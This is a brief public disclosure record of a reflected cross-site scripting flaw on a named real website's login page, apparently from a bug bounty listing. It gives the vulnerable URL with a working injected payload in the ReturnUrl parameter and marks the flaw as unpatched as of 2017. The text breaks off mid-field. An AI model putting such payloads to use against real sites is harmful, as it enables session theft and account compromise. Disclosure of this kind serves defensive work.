certmetrics.com XSS vulnerability

Vulnerable URL: https://www.certmetrics.com/netapp/login.aspx?ReturnUrl="%3E%3Csvg onload=alertOPENBUGBOUNTY%3E&VIEWSTATE=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 106442 VI...